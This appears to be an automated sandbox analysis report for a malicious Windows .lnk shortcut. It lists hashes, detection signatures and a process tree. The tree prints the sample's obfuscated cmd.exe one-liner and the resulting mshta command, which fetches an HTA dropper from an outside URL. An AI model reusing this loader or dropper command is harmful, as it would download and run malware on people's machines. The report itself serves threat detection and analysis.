Analysis

  • max time kernel
    60s
  • max time network
    45s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/08/2026, 04:46

General

  • Target
    DOC-GHE06G.lnk
  • Size 2KB
  • Sample260822-fd7mvavygt
  • SHA256 e4a7e33de8f42405cf0b7e6ab0fcd868d4c3c3ee1c6db6089e4eaac1cae3c0ff
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://geo-pdffiller.lat/h/estagio1.php?r=331061

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-GHE06G.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:372
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /V:on /C "set DEzOs=oldqilkpapaqhxfold&&set nTnW=netcisoselrametnet&&set um=lms71q&&set gsxi=c3thta9m7&&set Hq=netclurzofvaiuinet&&set GwYdt=cfgebupgmekvdctdzglcfg&&set ZdHAB=ys9str&&set QWVmZ=7ar9&&set tqB=1wtj5m&&set wVAvI=baksncpxewkbeymqxbak&&set Wi=tmpdcbculfoqisadtmp&&set Jo=h@t@t@ps:@//g@eo@-@pdf@fil@l@e@[email protected]@t@/h/e@s@t@agi@o@[email protected]?r=33@1061&&start /b !um:~1,2!!gsxi:~3,3! !Jo:@=!&&set mpfbn=done"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5128
      • C:\Windows\System32\mshta.exe
        mshta https://geo-pdffiller.lat/h/estagio1.php?r=331061
        3⤵
          PID:1956

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads